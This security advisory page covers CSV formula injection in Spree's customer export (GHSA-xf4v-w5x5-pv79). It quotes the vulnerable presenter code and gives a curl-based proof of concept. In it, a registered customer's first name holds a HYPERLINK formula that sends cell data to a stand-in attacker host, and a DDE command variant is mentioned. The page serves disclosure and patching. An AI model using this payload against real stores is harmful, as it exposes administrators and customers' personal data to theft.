Spree: CSV Formula Injection in Customer ExportGHSA-xf4v-w5x5-pv79
GHSA-xf4v-w5x5-pv79 is a security vulnerability in spree. A fix is available for spree — see the affected versions and patch details below.
Real-World Exposure
spree💎spree💎spreeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).
Details
Affected presenters and fields
| Presenter | Path | User-controlled fields |
|---|---|---|
CustomerPresenter | spree/core/app/presenters/spree/csv/customer_presenter.rb:36 | first_name, last_name, address1, address2, city, phone |
Vulnerable code — customer_presenter.rb (representative example)
# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
csv = [
customer.first_name, # ← written verbatim; may contain =HYPERLINK(...)
customer.last_name, # ← user-controlled
customer.email,
customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
customer.address&.company, # ← user-controlled
customer.address&.address1, # ← user-controlled
customer.address&.address2, # ← user-controlled
customer.address&.city, # ← user-controlled
customer.address&.state_text,
customer.address&.state_abbr,
customer.address&.country&.name,
customer.address&.country&.iso,
customer.address&.zipcode,
customer.phone, # ← user-controlled
customer.amount_spent_in(Spree::Store.current.default_currency),
customer.completed_orders.count,
]
csv += metafields_for_csv(customer)
csv
end
PoC
Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.
Step 1 — Register as a customer with an injected first name
curl -X POST https://store.example.com/api/v3/store/customers \
-H "Content-Type: application/json" \
-H "X-Spree-Api-Key: pk_<publishable_api_key>" \
-d '{
"email": "[email protected]",
"password": "password123",
"password_confirmation": "password123",
"first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
"last_name": "Smith"
}'
Step 2 — Admin triggers a customer export
curl -X POST https://store.example.com/api/v3/admin/exports \
-H "Authorization: Bearer <admin_jwt>" \
-H "Content-Type: application/json" \
-d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'
Step 3 — Admin polls until ready, then downloads
# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
-H "Authorization: Bearer <admin_jwt>"
# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
-H "Authorization: Bearer <admin_jwt>" \
-o customers.csv
Step 4 — Verify injection in the raw CSV (without opening in Excel)
Open customers.csv in a text editor. The first data row will contain:
"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","[email protected]",...
Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)
- Excel warns about external data connections; if the administrator clicks Enable, the
HYPERLINKformula fires and sends a GET request tohttp://attacker.example.com/exfil?d=<B1_value>. - Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
- With the DDE variant (
=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.
Impact
Vulnerability class: CSV / Formula Injection (CWE-1236)
Who is impacted
- Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.
Realistic attack chain
| Step | Actor | Action | Privilege required |
|---|---|---|---|
| 1 | Attacker | Registers as customer | Public registration |
| 2 | Attacker | Sets first_name to formula payload | None beyond registration |
| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |
| 4 | Admin | Opens CSV in Excel | None |
| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |
Data at risk
All data visible to the administrator in the spreadsheet at the time of opening, including:
- All exported customer emails, names, addresses, phone numbers
- Order totals and purchase history
- Any other columns in the same export file
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | spree | ≥ 5.2.0&&< 5.2.8 | 5.2.8bundle update spree --conservative |
| 💎RubyGems | spree | ≥ 5.3.0&&< 5.3.6 | 5.3.6bundle update spree --conservative |
| 💎RubyGems | spree | ≥ 5.4.0&&< 5.4.3 | 5.4.3bundle update spree --conservative |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for spree, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update spree to 5.2.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xf4v-w5x5-pv79 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-xf4v-w5x5-pv79 in your dependencies?
Find it across RubyGems, including transitive dependencies.